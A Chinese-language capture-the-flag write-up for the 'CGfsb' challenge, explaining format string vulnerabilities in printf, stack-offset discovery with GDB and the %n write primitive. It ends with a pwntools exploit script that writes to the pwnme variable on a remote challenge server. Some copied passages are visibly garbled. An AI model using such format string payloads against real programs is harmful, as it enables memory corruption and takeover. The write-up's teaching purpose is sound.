CGfsb-格式化字符串漏洞

引用维基百科https://ctf-wiki.github.io/ctf-wiki/pwn/linux/fmtstr/fmtstr_intro/

格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数。通俗来说,格式化字符串函数就是将计算机内存中表示的数据转化为我们人类可读的字符串格式。几乎所有的 C/C++ 程序都会利用格式化字符串函数来输出信息,调试程序,或者处理字符串。一般来说,格式化字符串在利用的时候主要分为三个部分

  • 格式化字符串函数
  • 格式化字符串
  • 后续参数,可选

这里我们给出一个简单的例子,其实相信大多数人都接触过 printf 函数之类的。之后我们再一个一个进行介绍。

CGfsb-格式化字符串漏洞_第1张图片

对于这样的例子,在进入 printf 函数的之前 (即还没有调用 printf),栈上的布局由高地址到低地址依次如下

some value
3.14
123456
addr of "red"
addr of format string: Color %s...

注:这里我们假设 3.14 上面的值为某个未知的值。

在进入 printf 之后,函数首先获取第一个参数,一个一个读取其字符会遇到两种情况

  • 当前字符不是 %,直接输出到相应标准输出。
  • 当前字符是 %, 继续读取下一个字符
    • 如果没有字符,报错
    • 如果下一个字符是 %, 输出 %
    • 否则根据相应的字符,获取相应的参数,对其进行解析并输出

那么假设,此时我们在编写程序时候,写成了下面的样子

printf("Color %s, Number %d, Float %4.2f");

此时我们可以发现我们并没有提供参数,那么程序会如何运行呢?程序照样会运行,会将栈上存储格式化字符串地址上面的三个变量分别解析为

  1. 解析其地址对应的字符串
  2. 解析其内容对应的整形值
  3. 解析其内容对应的浮点值

对于 2,3 来说倒还无妨,但是对于对于 1 来说,如果提供了一个不可访问地址,比如 0,那么程序就会因此而崩溃。

这基本就是格式化字符串漏洞的基本原理了。

CGfsb-格式化字符串漏洞_第2张图片

首先用IDA看一下伪代码,可以看到本题的逻辑是,首先输入一个name,然后打印他,再输入一个message,并且打印,然后判断pwnme的值是否为8,如果是的话就能得到flag

但是第二个printf()函数并没有按照标准写法(printf(“%s”,message);)写,而是直接输出messageprintf(&message);)。这种写法能输出吗,答案是能,但是会产生问题。

因为printf函数的格式,会将第一个参数当成format参数,我们知道,使用printf的时候,format参数中的字符串是可以被输出的,但是如果这串字符串中有基本的格式化字符串参数(%s, %n, %x, %p等),那么这些内容就会被当做基本的格式化字符串参数来处理,这样就出现了可利用的漏洞。

下面内容来自https://blog.csdn.net/zz_Caleb/article/details/88980866

常用基本的格式化字符串参数介绍:

%c:输出字符,配上%n可用于向指定地址写数据。

%d:输出十进制整数,配上%n可用于向指定地址写数据。

%x:输出16进制数据,如%i x 表 示 要 泄 漏 偏 移 i 处 4 字 节 长 的 16 进 制 数 据 , x表示要泄漏偏移i处4字节长的16进制数据,%i xi416lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。

%p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。

%s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。

%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100×10 n 表 示 将 0 x 64 写 入 偏 移 10 处 保 存 的 指 针 所 指 向 的 地 址 ( 4 字 节 ) , 而 n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而% n0x64104hn表示写入的地址空间为2字节,% h h n 表 示 写 入 的 地 址 空 间 为 1 字 节 , hhn表示写入的地址空间为1字节,% hhn1lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过% h n 或 hn或% hnhhn来适时调整。

%n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据。

CGfsb-格式化字符串漏洞_第3张图片

我们双击pwnme这个变量,找到他的位置,发现他位于.bss段,也就是未手动初始化的数据,地址为0x0804A068

bss段(未手动初始化的数据)并不给该段的数据分配空间,只是记录数据所需空间的大小。
data(已手动初始化的数据)段则为数据分配空间,数据保存在目标文件中。

pwngdb调试一下程序,这里name输入的是aaaamessage输入的是AAAA

CGfsb-格式化字符串漏洞_第4张图片

我们在printf函数下个断点,可以看到栈空间的栈顶是返回地址,然后是format参数,下面是我们输入的字符串“aaaa”(参数压栈过程是逆序的),然后输入c命令继续执行,可以得到下图。

CGfsb-格式化字符串漏洞_第5张图片

栈顶是返回地址,下面是我们输入的字符串“AAAA”,下面有我们之前上一个printf函数的参数aaaa(如果对这一块不太懂,可以看一下知乎Jwizard,这个是讲解函数调用发生和结束时调用栈的变化)。

然后我们重新输入参数,name=aaaamessage=AAAA %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x ,查看一下输出。

CGfsb-格式化字符串漏洞_第6张图片

可以看到在输出AAAA之后有输出了一下16机制的数,这是由于传入的参数为AAAA %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08xprintf函数将这个参数当成了format参数%x是以十六进制输出数据,中间的08表示宽度为8,不足的话在左边以0补足。但是printf只有一个参数,所以他会继续读取栈空间的数据,这里可以多泄露一些数据,方便我们找我们输入的数据存在哪里。从图中可以看到我们输入的AAAAformat参数后偏移为10的位置。有没有办法直接输出format参数后面k个偏移的数据而不是一个一个输出呢?有的,上面介绍了%k$x表示要泄漏偏移k处4字节长的16进制数据,比如我输入AAAA %3$08x,就可以得到位于format参数下面第三个数据。

CGfsb-格式化字符串漏洞_第7张图片

下面再讲一下format参数中的%n将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置

例如下面的例子,编译时需要加额外的参数,否则由于某些保护而得不到结果。gcc -m32 -fno-stack-protector -zexecstack -std=c99 -o test test.c

#include 
int main() {
  char s[100];
  int a = 1, b = 0x22222222, c = -1;
  int d;
  scanf("%s", s);
  printf("%08x.%08x.%08x.%s\n", a, b, c, s);
  printf(s);
  printf("aaaa%n\n",&d);
  printf("-------%d",d);//将会输出d的值为4
}

我们将pwnme变量的地址放在AAAA的位置,然后利用%n和偏移,在前面打印8个字符,将打印字符数写入到偏移处的地址中,下面是脚本。

from pwn import *

context.log_level = 'debug'
conn = remote("111.198.29.45",31187)
pwnme = 0x0804A068

payload1 = 'aaaa'
payload2 = (p32(pwnme) + 'a'*4 + '%10$n')  #pwnme地址占4个字节,所以后面需要打印4个a

conn.recvuntil('please tell me your name:')
conn.sendline(payload1)
conn.recvuntil('leave your message please:') 
conn.sendline(payload2)

print(conn.recvall())

CGfsb-格式化字符串漏洞_第8张图片

你可能感兴趣的:(pwn学习)